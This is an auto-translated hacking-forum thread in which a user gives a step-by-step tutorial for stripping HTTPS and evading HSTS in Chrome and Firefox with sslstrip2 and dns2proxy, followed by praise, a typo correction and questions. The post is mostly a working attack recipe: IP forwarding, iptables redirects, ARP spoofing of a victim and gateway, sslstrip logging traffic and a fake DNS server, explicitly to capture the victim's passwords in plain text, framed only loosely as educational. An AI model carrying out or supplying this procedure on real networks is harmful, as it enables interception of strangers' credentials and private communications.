Saltar al contenido
Underc0de /foro

Evading HSTS in CHROME and FIREFOX with sslstrip2

🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
denx0 ·
Los enlaces son solo para miembros. Registrate o iniciá sesión
<br /><br />Once upon a time, not long ago. A world in which information sent over the Internet travelled in plain text. Because of this, any sniffer such as cain, ettercap, etc. could easily intercept your information, obtain your passwords for facebook, hotmail, gmail and spy on you left and right.<br /><br />To mitigate this great security problem they decided to implement a much safer protocol called HTTPS, which encrypts the information with SSL. In a short time many important sites such as banks, service pages, gmail, hotmail, facebook, etc. migrated to this protocol.<br /><br />For a while everything worked perfectly. Nobody could sniff the data of pages encrypted with HTTPS. But that changed in 2009, when at a conference called Black Hat a rather curious tool called SSLSTRIP was presented... What does this tool do?<br /> What it does is replace all HTTPS requests with HTTP and then perform a MITM between the client and server, allowing the attacker to strip the HTTPS protocol and make the data travel in plain text.<br /><br />For years the data of pages could still be sniffed even over HTTPS, which is why later <br /> a new security policy mechanism called HSTS was implemented, which informs the browser that connections must always be made over SSL/TLS. This security measure was implemented on many web pages, but not only that: over time the browsers CHROME and FIREFOX included this policy in their browsers, so the SSLSTRIP tool stopped being effective against these browsers. It only kept working on Internet Explorer.<br /><br />But a few months ago LeonardoNve released a modified version of SSLSTRIP which he called "SSLSTRIP2". This new version allows evading the HSTS security rules and, with the help of another tool called dns2proxy, makes possible what until today was impossible: sniffing connections in browsers such as FIREFOX and CHROME.<br /><br />Below I show you how to carry out this technique, not without first reminding you that this is for Educational purposes.<br /><br />The first thing you will need are the 2 tools mentioned above, sslstrip2 and dns2proxy.<br />You can download both directly from here:<br /><br />sslstrip2 <br />
Código: text
 https://github.com/byt3bl33d3r/sslstrip2
<br /><br />dns2proxy<br />
Código: text
 https://github.com/LeonardoNve/dns2proxy
<br /><br />Once decompressed you can choose between installing sslstrip2 or running it directly. <br /><br />To install it, just run the setup.py file as follows:<br /><br />
Código: text
 python setup.py install
<br /><br />If you had a previous version, it will be replaced.<br /><br />Now let's begin the attack:<br /><br />First we need to enable ip forwarding with the following command:<br /><br />
Código: text
echo "1" > /proc/sys/net/ipv4/ip_forward
<br /><br />we add these iptables rules:<br /><br />
Código: text
iptables --flush
<br /><br />
Código: text
iptables --flush -t nat 
<br /><br />
Código: text
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
<br /><br />
Código: text
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
<br /><br />Start arpspoof <br /><br />
Código: text
arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAY
<br />
Código: text
arpspoof -i eth0 -t GATEWAY IP-VICTIMA
<br /><br />Once that is done, it's just a matter of starting sslstrip<br /><br />
Código: text
sslstrip -l 9000 -a -w log.txt
<br /><br />and finally, for the attack to work we must run dns2proxy, which creates a fake DNS server and interacts with iptables to forward the connections:<br /><br />
Código: text
python dns2proxy
<br /><br />Done.. with this, all the target's information will reach us in plain text.<br /><br />Just open the log.txt file that sslstrip generated and all the information will be there.<br /><br />Here I leave you a video of the process. <br />Greetings and Happy hacking <br />Los enlaces son solo para miembros. Registrate o iniciá sesión
arthusu ·
Good post +Karma<br />
Theraritho5 ·
What a great contribution :D
willymtx ·
Excellent contribution Denx0<br /><br />thanks
blackdrake ·
Very good contribution denx0, hope to keep seeing you on the forum :)<br /><br />Regards.
heil ·
Thanks a lot, but when I enter the command<br /><br />iptables --flush -t -nat<br /><br />it says:<br /><br />iptables v1.4.14: can't initialize iptables table `-nat': Table does not exist (do you need to insmod?)<br />Perhaps iptables or your kernel needs to be upgraded.<br /><br />I have Kali fully updated, regards.
denx0 ·
True.. a small typo :P: there should be no "-" before nat.<br /><br />It should read: iptables --flush -t nat <br /><br />
NewDealerKids ·
Hi everyone... I tried the first version of sslstrip and it only works with IE... <br />I was testing the 2 but it doesn't work for me.. could it be that it no longer works currently?<br /><br />   looking forward to your reply!
45sa54sa ·
.
n4pst3r ·
Hi DENX0, by any chance do you have the .zip of sslstrip2? I honestly can't find it. Regards and good work :)
WhiZ ·
Cita de: n4pst3r en Abril 24, 2015, 07:14:09 PM<br />Hi DENX0, by any chance do you have the .zip of sslstrip2? I honestly can't find it. Regards and good work :)<br />
<br /><br />Haha, you're joking xD... Los enlaces son solo para miembros. Registrate o iniciá sesión.<br /><br />Next time try searching a bit better. I say this because of this:<br /><br />
<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />
<br /><br /><br />Hope it helps you.<br /><br />Regards!<br />WhiZ
Grupo de WhatsApp